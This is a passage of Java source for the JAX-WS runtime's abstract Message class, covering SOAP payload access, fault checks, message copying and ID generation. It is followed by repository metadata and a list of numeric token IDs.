* Some server {@link Pipe}s would get this information when they are created.
*
* @return
* Null if there is no corresponding Method for this message. This is
* possible, for example when a protocol message is sent through a
* pipeline, or when we receive an invalid request on the server,
* or when we are on the client and the user appliation sends a random
* DOM through {@link Dispatch}, so this error needs to be handled
* gracefully.
*/
@Deprecated
public final @Nullable JavaMethod getMethod(@NotNull SEIModel seiModel) {
if (wsdlOperationMapping == null && messageMetadata != null) {
wsdlOperationMapping = messageMetadata.getWSDLOperationMapping();
}
if (wsdlOperationMapping != null) {
return wsdlOperationMapping.getJavaMethod();
}
//fall back to the original logic which could be incorrect ...
String localPart = getPayloadLocalPart();
String nsUri;
if (localPart == null) {
localPart = "";
nsUri = "";
} else {
nsUri = getPayloadNamespaceURI();
}
QName name = new QName(nsUri, localPart);
return seiModel.getJavaMethod(name);
}
private Boolean isOneWay;
/**
* Returns true if this message is a request message for a
* one way operation according to the given WSDL. False otherwise.
*
* <p>
* This method is functionally equivalent as doing
* {@code getOperation(port).getOperation().isOneWay()}
* (with proper null check and all.) But this method
* can sometimes work faster than that (for example,
* on the client side when used with SEI.)
*
* @param port
* {@link Message}s are always created under the context of
* one {@link WSDLPort} and they never go outside that context.
* Pass in that "governing" {@link WSDLPort} object here.
* We chose to receive this as a parameter instead of
* keeping {@link WSDLPort} in a message, just to save the storage.
*
* <p>
* The implementation of this method involves caching the return
* value, so the behavior is undefined if multiple callers provide
* different {@link WSDLPort} objects, which is a bug of the caller.
*/
public boolean isOneWay(@NotNull WSDLPort port) {
if(isOneWay==null) {
// we don't know, so compute.
WSDLBoundOperation op = getOperation(port);
if(op!=null)
isOneWay = op.getOperation().isOneWay();
else
// the contract is to return true only when it's known to be one way.
isOneWay = false;
}
return isOneWay;
}
/**
* Makes an assertion that this {@link Message} is
* a request message for an one-way operation according
* to the context WSDL.
*
* <p>
* This method is really only intended to be invoked from within
* the JAX-WS runtime, and not by any code building on top of it.
*
* <p>
* This method can be invoked only when the caller "knows" what
* WSDL says. Also, there's no point in invoking this method if the caller
* is doing {@code getOperation(port).getOperation().isOneWay()},
* or sniffing the payload tag name.
* In particular, this includes {@link DispatchImpl}.
*
* <p>
* Once called, this allows {@link #isOneWay(WSDLPort)} method
* to return a value quickly.
*
* @see #isOneWay(WSDLPort)
*/
public final void assertOneWay(boolean value) {
// if two callers make different assertions, that's a bug.
// this is an assertion, not a runtime check because
// nobody outside JAX-WS should be using this.
assert isOneWay==null || isOneWay==value;
isOneWay = value;
}
/**
* Gets the local name of the payload element.
*
* @return
* null if a {@link Message} doesn't have any payload.
*/
public abstract @Nullable String getPayloadLocalPart();
/**
* Gets the namespace URI of the payload element.
*
* @return
* null if a {@link Message} doesn't have any payload.
*/
public abstract String getPayloadNamespaceURI();
// I'm not putting @Nullable on it because doing null check on getPayloadLocalPart() should be suffice
/**
* Returns true if a {@link Message} has a payload.
*
* <p>
* A message without a payload is a SOAP message that looks like:
* <pre><xmp>
* <S:Envelope>
* <S:Header>
* ...
* </S:Header>
* <S:Body />
* </S:Envelope>
* </xmp></pre>
*/
public abstract boolean hasPayload();
/**
* Returns true if this message is a fault.
*
* <p>
* Just a convenience method built on {@link #getPayloadNamespaceURI()}
* and {@link #getPayloadLocalPart()}.
*/
public boolean isFault() {
// TODO: is SOAP version a property of a Message?
// or is it defined by external factors?
// how do I compare?
String localPart = getPayloadLocalPart();
if(localPart==null || !localPart.equals("Fault"))
return false;
String nsUri = getPayloadNamespaceURI();
return nsUri.equals(SOAPVersion.SOAP_11.nsUri) || nsUri.equals(SOAPVersion.SOAP_12.nsUri);
}
/**
* It gives S:Envelope/S:Body/S:Fault/detail 's first child's name. Should
* be called for messages that have SOAP Fault.
*
* <p> This implementation is expensive so concrete implementations are
* expected to override this one.
*
* @return first detail entry's name, if there is one
* else null
*/
public @Nullable QName getFirstDetailEntryName() {
assert isFault();
Message msg = copy();
try {
SOAPFaultBuilder fault = SOAPFaultBuilder.create(msg);
return fault.getFirstDetailEntryName();
} catch (JAXBException e) {
throw new WebServiceException(e);
}
}
/**
* Consumes this message including the envelope.
* returns it as a {@link Source} object.
*/
public abstract Source readEnvelopeAsSource();
/**
* Returns the payload as a {@link Source} object.
*
* This consumes the message.
*
* @return
* if there's no payload, this method returns null.
*/
public abstract Source readPayloadAsSource();
/**
* Creates the equivalent {@link SOAPMessage} from this message.
*
* This consumes the message.
*
* @throws SOAPException
* if there's any error while creating a {@link SOAPMessage}.
*/
public abstract SOAPMessage readAsSOAPMessage() throws SOAPException;
/**
* Creates the equivalent {@link SOAPMessage} from this message. It also uses
* transport specific headers from Packet during the SOAPMessage construction
* so that {@link SOAPMessage#getMimeHeaders()} gives meaningful transport
* headers.
*
* This consumes the message.
*
* @throws SOAPException
* if there's any error while creating a {@link SOAPMessage}.
*/
public SOAPMessage readAsSOAPMessage(Packet packet, boolean inbound) throws SOAPException {
return readAsSOAPMessage();
}
public static Map<String, List<String>> getTransportHeaders(Packet packet) {
return getTransportHeaders(packet, packet.getState().isInbound());
}
public static Map<String, List<String>> getTransportHeaders(Packet packet, boolean inbound) {
Map<String, List<String>> headers = null;
String key = inbound ? Packet.INBOUND_TRANSPORT_HEADERS : Packet.OUTBOUND_TRANSPORT_HEADERS;
if (packet.supports(key)) {
headers = (Map<String, List<String>>)packet.get(key);
}
return headers;
}
public static void addSOAPMimeHeaders(MimeHeaders mh, Map<String, List<String>> headers) {
for(Map.Entry<String, List<String>> e : headers.entrySet()) {
if (!e.getKey().equalsIgnoreCase("Content-Type")) {
for(String value : e.getValue()) {
mh.addHeader(e.getKey(), value);
}
}
}
}
/**
* Reads the payload as a JAXB object by using the given unmarshaller.
*
* This consumes the message.
*
* @throws JAXBException
* If JAXB reports an error during the processing.
*/
public abstract <T> T readPayloadAsJAXB(Unmarshaller unmarshaller) throws JAXBException;
/**
* Reads the payload as a JAXB object according to the given {@link Bridge}.
*
* This consumes the message.
*
* @deprecated
* @return null
* if there's no payload.
* @throws JAXBException
* If JAXB reports an error during the processing.
*/
public abstract <T> T readPayloadAsJAXB(Bridge<T> bridge) throws JAXBException;
/**
* Reads the payload as a Data-Bond object
*
* This consumes the message.
*
* @return null
* if there's no payload.
* @throws JAXBException
* If JAXB reports an error during the processing.
*/
public abstract <T> T readPayloadAsJAXB(XMLBridge<T> bridge) throws JAXBException;
/**
* Reads the payload as a {@link XMLStreamReader}
*
* This consumes the message. The caller is encouraged to call
* {@link XMLStreamReaderFactory#recycle(XMLStreamReader)} when finished using
* the instance.
*
* @return
* If there's no payload, this method returns null.
* Otherwise always non-null valid {@link XMLStreamReader} that points to
* the payload tag name.
*/
public abstract XMLStreamReader readPayload() throws XMLStreamException;
/**
* Marks the message as consumed, without actually reading the contents.
*
* <p>
* This method provides an opportunity for implementations to reuse
* any reusable resources needed for representing the payload.
*
* <p>
* This method may not be called more than once since it may have
* released the reusable resources.
*/
public void consume() {}
/**
* Writes the payload to StAX.
*
* This method writes just the payload of the message to the writer.
* This consumes the message.
* The implementation will not write
* {@link XMLStreamWriter#writeStartDocument()}
* nor
* {@link XMLStreamWriter#writeEndDocument()}
*
* <p>
* If there's no payload, this method is no-op.
*
* @throws XMLStreamException
* If the {@link XMLStreamWriter} reports an error,
* or some other errors happen during the processing.
*/
public abstract void writePayloadTo(XMLStreamWriter sw) throws XMLStreamException;
/**
* Writes the whole SOAP message (but not attachments)
* to the given writer.
*
* This consumes the message.
*
* @throws XMLStreamException
* If the {@link XMLStreamWriter} reports an error,
* or some other errors happen during the processing.
*/
public abstract void writeTo(XMLStreamWriter sw) throws XMLStreamException;
/**
* Writes the whole SOAP envelope as SAX events.
*
* <p>
* This consumes the message.
*
* @param contentHandler
* must not be nulll.
* @param errorHandler
* must not be null.
* any error encountered during the SAX event production must be
* first reported to this error handler. Fatal errors can be then
* thrown as {@link SAXParseException}. {@link SAXException}s thrown
* from {@link ErrorHandler} should propagate directly through this method.
*/
public abstract void writeTo( ContentHandler contentHandler, ErrorHandler errorHandler ) throws SAXException;
// TODO: do we need a method that reads payload as a fault?
// do we want a separte streaming representation of fault?
// or would SOAPFault in SAAJ do?
/**
* Creates a copy of a {@link Message}.
*
* <p>
* This method creates a new {@link Message} whose header/payload/attachments/properties
* are identical to this {@link Message}. Once created, the created {@link Message}
* and the original {@link Message} behaves independently --- adding header/
* attachment to one {@link Message} doesn't affect another {@link Message}
* at all.
*
* <p>
* This method does <b>NOT</b> consume a message.
*
* <p>
* To enable efficient copy operations, there's a few restrictions on
* how copied message can be used.
*
* <ol>
* <li>The original and the copy may not be
* used concurrently by two threads (this allows two {@link Message}s
* to share some internal resources, such as JAXB marshallers.)
* Note that it's OK for the original and the copy to be processed
* by two threads, as long as they are not concurrent.
*
* <li>The copy has the same 'life scope'
* as the original (this allows shallower copy, such as
* JAXB beans wrapped in {@link JAXBMessage}.)
* </ol>
*
* <p>
* A 'life scope' of a message created during a message processing
* in a pipeline is until a pipeline processes the next message.
* A message cannot be kept beyond its life scope.
*
* (This experimental design is to allow message objects to be reused
* --- feedback appreciated.)
*
*
*
* <h3>Design Rationale</h3>
* <p>
* Since a {@link Message} body is read-once, sometimes
* (such as when you do fail-over, or WS-RM) you need to
* create an idential copy of a {@link Message}.
*
* <p>
* The actual copy operation depends on the layout
* of the data in memory, hence it's best to be done by
* the {@link Message} implementation itself.
*
* <p>
* The restrictions placed on the use of copied {@link Message} can be
* relaxed if necessary, but it will make the copy method more expensive.
*/
// TODO: update the class javadoc with 'lifescope'
// and move the discussion about life scope there.
public abstract Message copy();
/**
* Retuns a unique id for the message. The id can be used for various things,
* like debug assistance, logging, and MIME encoding(say for boundary).
*
* <p>
* This method will check the existence of the addressing <MessageID> header,
* and if present uses that value. Otherwise it generates one from UUID.random(),
* and return it without adding a new header. But it doesn't add a <MessageID>
* to the header list since we expect them to be added before calling this
* method.
*
* <p>
* Addressing tube will go do a separate verification on inbound
* headers to make sure that <MessageID> header is present when it's
* supposed to be.
*
* @param binding object created by {@link BindingID#createBinding()}
*
* @return unique id for the message
* @deprecated
*/
public @NotNull String getID(@NotNull WSBinding binding) {
return getID(binding.getAddressingVersion(), binding.getSOAPVersion());
}
/**
* Retuns a unique id for the message.
* <p><p>
* @see {@link #getID(com.sun.xml.internal.ws.api.WSBinding)} for detailed description.
* @param av WS-Addressing version
* @param sv SOAP version
* @return unique id for the message
* @deprecated
*/
public @NotNull String getID(AddressingVersion av, SOAPVersion sv) {
String uuid = null;
if (av != null) {
uuid = AddressingUtils.getMessageID(getHeaders(), av, sv);
}
if (uuid == null) {
uuid = generateMessageID();
getHeaders().add(new StringHeader(av.messageIDTag, uuid));
}
return uuid;
}
/**
* Generates a UUID suitable for use as a MessageID value
* @return generated UUID
*/
public static String generateMessageID() {
return "uuid:" + UUID.randomUUID().toString();
}
public SOAPVersion getSOAPVersion() {
return null;
}
}
| 29,281
|
Java
|
.java
|
AdoptOpenJDK/openjdk-aarch64-jdk8u
| 13
| 45
| 0
|
2020-07-16T16:13:20Z
|
2021-09-29T14:47:41Z
|
34fac10a54dab643f0fe0ae038d2800c2b664cd7e32c9ef54f704cfd2d0cdeb6
|
[
1127,
222,
338,
2657,
327,
104,
46,
244,
54,
62,
62,
60,
49,
244,
55,
53,
54,
56,
49,
17980,
480,
52,
290,
2840,
25094,
51,
3381,
4760,
5225,
51,
222,
338,
4103,
2387,
23740,
1895,
35234,
8995,
2387,
11988,
1895,
8968,
10961,
30441,
51,
222,
338,
222,
338,
1369,
1361,
458,
3760,
2951,
64,
863,
902,
14081,
580,
480,
52,
290,
5370,
580,
222,
338,
1549,
341,
5974,
451,
341,
6994,
6153,
5062,
1196,
1522,
244,
55,
1773,
49,
641,
222,
338,
9582,
829,
341,
7834,
3870,
7120,
51,
244,
17980,
6759,
1218,
477,
222,
338,
8445,
822,
641,
5405,
391,
341,
332,
44978,
39,
3773,
641,
3961,
222,
338,
829,
17980,
347,
341,
7621,
822,
708,
20854,
297,
4850,
477,
1361,
51,
222,
338,
222,
338,
1369,
1361,
458,
2744,
347,
341,
9850,
708,
580,
1118,
545,
6386,
49,
1294,
4213,
222,
338,
2979,
9345,
64,
2895,
4462,
341,
4506,
14319,
451,
7934,
575,
222,
338,
8114,
4800,
418,
7848,
7763,
51,
244,
2819,
341,
6994,
6153,
5062,
1196,
222,
338,
1522,
244,
55,
456,
1851,
4261,
327,
102,
1948,
458,
5976,
347,
341,
7621,
822,
708,
222,
338,
20854,
297,
4850,
477,
1361,
566,
222,
338,
222,
338,
2469,
1414,
1178,
6589,
331,
1948,
451,
341,
6994,
6153,
5062,
1196,
1522,
222,
338,
244,
55,
7979,
642,
477,
1409,
64,
434,
666,
49,
2886,
391,
341,
7834,
3870,
7120,
49,
222,
338,
6367,
4345,
244,
58,
54,
34113,
1277,
49,
33316,
26912,
49,
25006,
49,
13083,
244,
53,
55,
54,
54,
53,
50,
54,
56,
53,
54,
15067,
51,
222,
338,
222,
338,
5304,
7272,
17980,
49,
244,
58,
53,
53,
17980,
27004,
3094,
49,
4777,
21100,
2432,
6868,
49,
10562,
244,
62,
57,
53,
59,
58,
15067,
222,
338,
575,
7739,
19955,
51,
11116,
51,
527,
434,
863,
1868,
5408,
2490,
575,
1178,
1364,
222,
338,
10034,
51,
222,
588,
222,
222,
1337,
785,
51,
9886,
51,
2608,
51,
3269,
51,
3624,
51,
1256,
51,
1454,
64,
222,
222,
485,
785,
51,
9886,
51,
446,
478,
51,
3269,
51,
4936,
64,
222,
485,
785,
51,
9886,
51,
446,
478,
51,
3269,
51,
6825,
64,
222,
485,
785,
51,
9886,
51,
2608,
51,
3269,
51,
2555,
51,
1256,
51,
13481,
64,
222,
485,
785,
51,
9886,
51,
2608,
51,
3269,
51,
3624,
51,
1256,
51,
5910,
798,
64,
222,
485,
785,
51,
9886,
51,
2608,
51,
3269,
51,
3624,
51,
1256,
51,
20099,
2080,
64,
222,
485,
785,
51,
9886,
51,
2608,
51,
3269,
51,
3624,
51,
1256,
51,
3968,
5910,
64,
222,
485,
785,
51,
9886,
51,
2608,
51,
3269,
51,
3624,
51,
1256,
51,
2485,
318,
51,
2455,
318,
2080,
64,
222,
485,
785,
51,
9886,
51,
2608,
51,
3269,
51,
3624,
51,
1256,
51,
1184,
51,
5445,
1885,
64,
222,
485,
785,
51,
9886,
51,
2608,
51,
3269,
51,
3624,
51,
1256,
51,
1184,
51,
825,
78,
1262,
64,
222,
485,
785,
51,
9886,
51,
2608,
51,
3269,
51,
3624,
51,
1256,
51,
1184,
51,
92,
3197,
1323,
2059,
4815,
64,
222,
485,
785,
51,
9886,
51,
2608,
51,
3269,
51,
3624,
51,
1256,
51,
1184,
51,
39215,
51,
92,
12358,
4728,
3786,
64,
222,
485,
785,
51,
9886,
51,
2608,
51,
3269,
51,
3624,
51,
1256,
51,
1184,
51,
39215,
51,
92,
12358,
4728,
3451,
638,
64,
222,
485,
785,
51,
9886,
51,
2608,
51,
3269,
51,
3624,
51,
1256,
51,
1184,
51,
39215,
51,
92,
12358,
3451,
64,
222,
485,
785,
51,
9886,
51,
2608,
51,
3269,
51,
3624,
51,
1256,
51,
7446,
51,
13167,
64,
222,
485,
785,
51,
9886,
51,
2608,
51,
3269,
51,
3624,
51,
1256,
51,
7446,
51,
14954,
64,
222,
485,
785,
51,
9886,
51,
2608,
51,
3269,
51,
3624,
51,
1256,
51,
22542,
51,
5741,
33628,
2232,
64,
222,
485,
785,
51,
9886,
51,
2608,
51,
3269,
51,
3624,
51,
1598,
51,
7154,
51,
7184,
3499,
64,
222,
485,
785,
51,
9886,
51,
2608,
51,
3269,
51,
3624,
51,
1454,
51,
11829,
903,
3499,
64,
222,
485,
785,
51,
9886,
51,
2608,
51,
3269,
51,
3624,
51,
1454,
51,
671,
2661,
64,
222,
485,
785,
51,
9886,
51,
2608,
51,
3269,
51,
3624,
51,
1454,
51,
8954,
103,
51,
47329,
1193,
64,
222,
485,
785,
51,
9886,
51,
2608,
51,
3269,
51,
3624,
51,
10787,
51,
1219,
51,
5741,
13481,
64,
222,
485,
785,
51,
9886,
51,
2608,
51,
3269,
51,
3624,
51,
16005,
51,
20099,
12353,
1812,
64,
222,
485,
785,
51,
9886,
51,
2608,
51,
3269,
51,
1107,
51,
23722,
1317,
51,
289,
668,
346,
51,
5741,
33628,
589,
64,
222,
485,
785,
51,
9886,
51,
2608,
51,
3269,
51,
1107,
51,
23722,
1317,
51,
289,
668,
346,
51,
5741,
1880,
3989,
589,
64,
222,
485,
1105,
51,
2608,
51,
31965,
51,
1795,
1985,
64,
222,
485,
1105,
51,
2608,
51,
31965,
51,
26781,
64,
222,
485,
1105,
51,
2608,
51,
31965,
51,
42188,
1002,
64,
222,
485,
1105,
51,
2608,
51,
31965,
51,
42188,
26004,
64,
222,
222,
485,
3698,
51,
2608,
51,
2555,
51,
47329,
1002,
64,
222,
485,
3698,
51,
2608,
51,
2555,
51,
29744,
64,
222,
485,
3698,
51,
2608,
51,
2029,
51,
25553,
64,
222,
485,
3698,
51,
2608,
51,
21701,
51,
21271,
6273,
64,
222,
485,
3698,
51,
2608,
51,
21701,
51,
20099,
1002,
64,
222,
485,
3698,
51,
2608,
51,
21701,
51,
20099,
1193,
64,
222,
485,
3698,
51,
2608,
51,
2255,
51,
5741,
1880,
1002,
64,
222,
485,
3698,
51,
2608,
51,
2255,
51,
5741,
33628,
64,
222,
485,
3698,
51,
2608,
51,
2255,
51,
5741,
1880,
3989,
64,
222,
485,
3698,
51,
2608,
51,
3824,
51,
2044,
64,
222,
485,
3698,
51,
2608,
51,
3624,
51,
7184,
64,
222,
485,
3698,
51,
2608,
51,
3624,
51,
2609,
32099,
64,
222,
485,
1401,
51,
735,
51,
6989,
64,
222,
485,
1401,
51,
1600,
51,
9069,
51,
1885,
64,
222,
485,
1401,
51,
1600,
51,
9069,
51,
5401,
64,
222,
485,
1401,
51,
1058,
51,
739,
64,
222,
485,
1401,
51,
1058,
51,
1225,
64,
222,
485,
1401,
51,
1058,
51,
7604,
64,
222,
222,
1350,
222,
338,
23121,
331,
44048,
1492,
51,
222,
338,
222,
338,
222,
338,
350,
109,
55,
67,
8204,
458,
331,
1492,
14689,
109,
55,
67,
222,
338,
350,
117,
67,
222,
338,
418,
3105,
1222,
4587,
130,
21931,
451,
341,
2434,
63,
222,
338,
222,
338,
350,
381,
67,
222,
338,
350,
393,
67,
222,
338,
283,
9607,
50,
34781,
1168,
451,
4839,
51,
222,
338,
283,
331,
3353,
458,
331,
10323,
451,
619,
2016,
6529,
222,
338,
283,
568,
2176,
64,
21701,
63,
2661,
4513,
222,
338,
283,
2048,
902,
545,
1511,
4632,
6524,
49,
222,
338,
283,
902,
545,
3654,
575,
6563,
49,
1294,
580,
458,
666,
2065,
15616,
51,
222,
338,
283,
2819,
3105,
1222,
10275,
739,
130,
456,
1851,
2645,
4839,
51,
222,
338,
222,
338,
350,
393,
67,
222,
338,
283,
906,
5808,
451,
341,
1492,
49,
1532,
458,
331,
10323,
222,
338,
283,
451,
619,
2016,
6529,
568,
2176,
64,
21701,
63,
3069,
4513,
222,
338,
283,
341,
5808,
458,
395,
47139,
49,
480,
16438,
580,
902,
545,
222,
338,
283,
1773,
1511,
5065,
327,
290,
902,
545,
1773,
6658,
391,
4682,
5065,
7475,
222,
338,
283,
5065,
331,
5808,
458,
1674,
49,
331,
1492,
458,
9891,
391,
545,
350,
103,
67,
43667,
396,
103,
4513,
222,
338,
283,
418,
1492,
3105,
1222,
607,
2057,
7939,
365,
1648,
666,
1178,
1364,
5808,
22780,
222,
338,
222,
338,
350,
393,
67,
222,
338,
283,
29902,
1745,
51,
222,
338,
283,
4314,
63,
902,
29805,
545,
395,
47139,
68,
457,
29157,
1278,
51,
222,
338,
283,
1976,
15149,
1868,
391,
1511,
16599,
19487,
68,
222,
338,
222,
338,
594,
381,
67,
222,
338,
222,
338,
222,
338,
350,
109,
55,
67,
8276,
1976,
477,
35531,
1409,
14689,
109,
55,
67,
222,
338,
350,
117,
67,
222,
338,
906,
6575,
8779,
16999,
341,
3105,
1222,
4587,
130,
458,
391,
10618,
341,
4668,
222,
338,
727,
10323,
51,
2643,
2301,
49,
331,
3105,
1222,
4587,
130,
4816,
545,
222,
338,
23051,
563,
2687,
451,
619,
3105,
1222,
18994,
130,
664,
341,
16186,
4818,
3401,
49,
222,
338,
575,
580,
4816,
545,
23051,
563,
2687,
451,
331,
25362,
1319,
641,
331,
1074,
222,
338,
451,
341,
1431,
18586,
3939,
3105,
1222,
15628,
4037,
5825,
1118,
545,
222,
338,
331,
3105,
1222,
4587,
130,
4753,
456,
2531,
451,
5543,
6819,
51,
222,
338,
222,
338,
350,
117,
67,
222,
338,
1369,
2586,
7388,
331,
8233,
451,
4457,
708,
2872,
341,
5808,
222,
338,
347,
5110,
3473,
10556,
49,
480,
17448,
902,
2075,
5543,
222,
338,
4457,
347,
341,
5318,
4222,
3374,
51,
222,
338,
222,
338,
350,
117,
67,
222,
338,
418,
8445,
18906,
458,
30278,
391,
1949,
3673,
708,
331,
3105,
1222,
4587,
130,
222,
338,
1319,
902,
545,
23051,
563,
331,
3458,
708,
458,
666,
12114,
1511,
6320,
51,
222,
338,
2726,
13714,
477,
49100,
341,
6940,
50,
11291,
1153,
563,
341,
2160,
5226,
51,
222,
338,
222,
338,
350,
117,
67,
222,
338,
2048,
458,
12324,
6386,
391,
9817,
331,
3105,
1222,
4587,
130,
2012,
4691,
3105,
1222,
4587,
855,
222,
338,
456,
2301,
391,
18899,
341,
3376,
49,
575,
391,
6152,
341,
8214,
641,
341,
3376,
222,
338,
458,
1511,
51,
222,
338,
222,
338,
350,
117,
67,
222,
338,
1369,
10323,
458,
2353,
1674,
456,
331,
12437,
50,
2812,
7408,
1492,
51,
222,
338,
719,
3774,
1152,
1019,
4650,
8551,
331,
3105,
1222,
4587,
130,
642,
3517,
222,
338,
29805,
480,
4839,
49,
480,
1429,
4569,
6206,
1187,
4839,
222,
338,
480,
29805,
1118,
545,
10308,
51,
222,
338,
222,
338,
222,
338,
222,
338,
350,
109,
55,
67,
1193,
480,
1618,
1970,
396,
109,
55,
67,
222,
338,
350,
117,
67,
222,
338,
1618,
1970,
458,
11901,
641,
619,
3105,
1222,
47756,
855,
480,
16438,
1429,
863,
904,
9724,
840,
222,
338,
3105,
1222,
4587,
855,
863,
4650,
7162,
2337,
568,
2176,
64,
125,
539,
63,
8518,
67,
575,
1364,
3774,
4725,
222,
338,
327,
35600,
863,
4650,
2337,
341,
1712,
59,
57,
727,
347,
14141,
7475,
1691,
331,
12479,
451,
3116,
489,
7751,
1348,
222,
338,
16616,
347,
9946,
1618,
1970,
829,
33039,
49,
477,
6990,
10331,
391,
1409,
642,
1618,
1970,
222,
338,
8487,
4462,
2895,
666,
11642,
580,
51,
222,
338,
222,
338,
350,
117,
67,
222,
338,
2643,
552,
39871,
480,
40206,
708,
904,
16616,
347,
23966,
341,
5314,
727,
222,
338,
1851,
43067,
49,
2974,
902,
813,
3105,
1222,
7408,
33628,
589,
130,
480,
222,
338,
3105,
1222,
7408,
1880,
3989,
589,
4037,
222,
338,
222,
338,
222,
338,
222,
338,
350,
109,
55,
67,
1193,
475,
344,
326,
7489,
396,
109,
55,
67,
222,
338,
350,
117,
67,
222,
338,
565,
726,
291,
3105,
1222,
18706,
130,
2323,
2490,
2212,
391,
331,
8445,
222,
338,
4712,
47714,
304,
327,
21905,
641,
3105,
707,
38757,
855,
664,
477,
8826,
49,
580,
7437,
10589,
222,
338,
391,
45129,
331,
475,
344,
326,
7489,
451,
331,
1492,
391,
1611,
8613,
18586,
51,
222,
338,
350,
117,
67,
222,
338,
2715,
341,
1623,
4114,
49,
434,
863,
3558,
2645,
19873,
50,
11267,
49,
580,
12324,
5669,
391,
7649,
563,
391,
222,
338,
331,
1492,
8940,
2806,
331,
8613,
18586,
327,
9626,
4816,
640,
619,
4818,
1343,
49,
222,
338,
640,
331,
1492,
1618,
49,
640,
331,
3118,
4818,
1343,
49,
640,
4691,
1492,
1432,
49,
480,
222,
338,
1773,
1636,
863,
4816,
2660,
391,
2183,
1618,
7475,
222,
338,
350,
117,
67,
222,
338,
4314,
63,
2794,
764,
1019,
764,
2645,
477,
68,
222,
338,
222,
338,
222,
338,
350,
1023,
67,
222,
338,
4314,
63,
902,
3376,
2016,
1178,
19345,
5437,
68,
8784,
2502,
456,
7669,
68,
222,
338,
981,
10100,
49,
1429,
341,
44048,
3376,
458,
11289,
2038,
1118,
545,
619,
2502,
3895,
5041,
222,
338,
981,
7158,
347,
477,
1152,
1364,
7669,
4148,
9951,
1648,
1868,
2872,
222,
338,
981,
391,
341,
26316,
10323,
51,
222,
338,
4314,
63,
4818,
4839,
68,
222,
338,
981,
10100,
51,
7406,
337,
641,
11350,
50,
7893,
4324,
51,
222,
338,
4314,
63,
6574,
13657,
44048,
244,
54,
51,
54,
480,
44048,
244,
54,
51,
55,
10609,
68,
222,
338,
981,
2915,
8135,
3842,
17448,
18387,
456,
341,
10075,
451,
341,
222,
338,
981,
1492,
68,
222,
338,
4314,
63,
3541,
68,
222,
338,
4314,
63,
3291,
1019,
1868,
391,
21946,
44048,
1193,
13435,
68,
222,
338,
981,
44048,
1193,
3087,
545,
341,
26316,
10323,
1294,
458,
580,
7527,
391,
222,
338,
981,
4549,
3761,
3473,
26316,
40125,
68,
222,
338,
981,
32266,
477,
12802,
2850,
391,
2650,
813,
11043,
456,
10075,
480,
8220,
51,
222,
338,
4314,
63,
3291,
1019,
1868,
391,
34484,
6106,
3761,
10075,
480,
8220,
68,
222,
338,
981,
3291,
1019,
6411,
1868,
341,
20073,
708,
331,
3290,
1492,
902,
545,
755,
4001,
222,
338,
981,
456,
8220,
51,
2432,
483,
1019,
342,
344,
324,
21496,
68,
222,
338,
222,
338,
4314,
63,
44048,
1522,
2443,
222,
338,
981,
44048,
1522,
458,
19886,
829,
341,
1637,
49,
1278,
1492,
8032,
4183,
1348,
18516,
580,
6857,
327,
10234,
222,
338,
222,
338,
4314,
63,
30003,
1492,
5669,
12103,
51,
347,
8445,
4324,
480,
29805,
51,
222,
338,
594,
1023,
67,
222,
338,
222,
338,
496,
2133,
36181,
3931,
36751,
1242,
831,
500,
2032,
110,
222,
588,
222,
942,
5560,
462,
4587,
320,
465,
1041,
294,
338,
3777,
878,
434,
4839,
904,
5041,
347,
341,
1492,
51,
294,
338,
294,
338,
496,
620,
294,
338,
665,
878,
434,
4839,
904,
5041,
51,
294,
588,
303,
581,
5560,
1922,
1421,
6273,
492,
465,
1041,
294,
338,
7132,
1187,
341,
4839,
451,
477,
1492,
51,
294,
338,
294,
338,
350,
109,
56,
67,
14631,
5857,
396,
109,
56,
67,
294,
338,
350,
117,
67,
294,
338,
3105,
1222,
4587,
130,
4753,
458,
6671,
391,
13422,
294,
338,
341,
22376,
451,
3105,
1222,
4587,
6273,
130,
1319,
51,
2790,
294,
338,
434,
863,
1773,
2660,
391,
1524,
456,
341,
31304,
451,
1364,
3353,
294,
338,
2016,
49,
813,
3105,
1222,
607,
2057,
6273,
41271,
294,
338,
294,
338,
496,
620,
294,
338,
665,
5198,
461,
341,
2454,
3000,
50,
1710,
1319,
51,
294,
588,
303,
581,
5560,
496,
4936,
4587,
6273,
640,
6273,
492,
465,
1041,
294,
338,
7132,
341,
29805,
451,
477,
1492,
294,
338,
327,
20735,
10918,
11154,
331,
1492,
7475,
294,
588,
303,
581,
496,
4936,
44495,
903,
640,
27364,
365,
320,
310,
434,
327,
13418,
903,
630,
762,
46,
320,
343,
16599,
903,
299,
556,
44495,
903,
3499,
492,
310,
339,
310,
461,
16599,
903,
64,
303,
339,
465,
1041,
294,
338,
42100,
14220,
456,
341,
12015,
462,
391,
1524,
294,
338,
434,
1019,
1648,
1178,
1649,
29805,
51,
294,
588,
303,
2532,
1922,
1421,
27364,
365,
320,
310,
461,
16599,
903,
6917,
1710,
64,
303,
339,
465,
2532,
44495,
903,
16599,
903,
64,
465,
964,
643,
12358,
4728,
3786,
4231,
299,
762,
64,
465,
964,
643,
3197,
1323,
2059,
4815,
360,
18688,
3786,
4815,
299,
762,
64,
465,
964,
4587,
4108,
1492,
4108,
299,
762,
64,
465,
581,
782,
758,
1193,
8676,
2020,
45,
1193,
4108,
5057,
46,
320,
310,
1492,
4108,
299,
5057,
64,
303,
339,
4054,
1041,
294,
338,
3777,
341,
4231,
451,
1532,
477,
1492,
458,
619,
1998,
451,
51,
294,
338,
294,
338,
350,
117,
67,
294,
338,
1369,
1431,
35647,
563,
3105,
1222,
643,
12358,
4728,
3451,
638,
40,
390,
3786,
45,
671,
49,
910,
4416,
1294,
294,
338,
580,
1976,
1278,
347,
619,
17505,
3374,
51,
294,
338,
294,
338,
496,
15033,
244,
2048,
458,
666,
5198,
4222,
391,
43692,
12452,
341,
643,
12358,
11957,
664,
2277,
341,
294,
338,
2490,
347,
341,
4587,
51,
19509,
49,
4443,
3105,
1222,
785,
51,
9886,
51,
2608,
51,
3269,
51,
3624,
51,
1256,
51,
1454,
51,
6839,
40,
390,
92,
3197,
1323,
2059,
9768,
294,
338,
391,
640,
580,
8487,
51,
294,
338,
294,
338,
350,
117,
67,
294,
338,
1369,
1431,
4864,
1773,
456,
331,
1343,
51,
418,
13581,
902,
9949,
619,
4231,
456,
331,
1343,
49,
294,
338,
480,
1636,
5016,
580,
347,
331,
2212,
2702,
391,
813,
580,
642,
331,
1808,
49,
1278,
2038,
1414,
545,
294,
338,
1307,
1868,
391,
2309,
986,
4231,
664,
331,
1808,
327,
11416,
13014,
49,
2038,
4816,
666,
545,
1364,
1808,
38,
566,
294,
338,
294,
338,
496,
772,
5105,
3451,
638,
294,
338,
665,
1369,
10684,
341,
2618,
456,
1532,
477,
1492,
458,
1674,
51,
294,
338,
665,
19576,
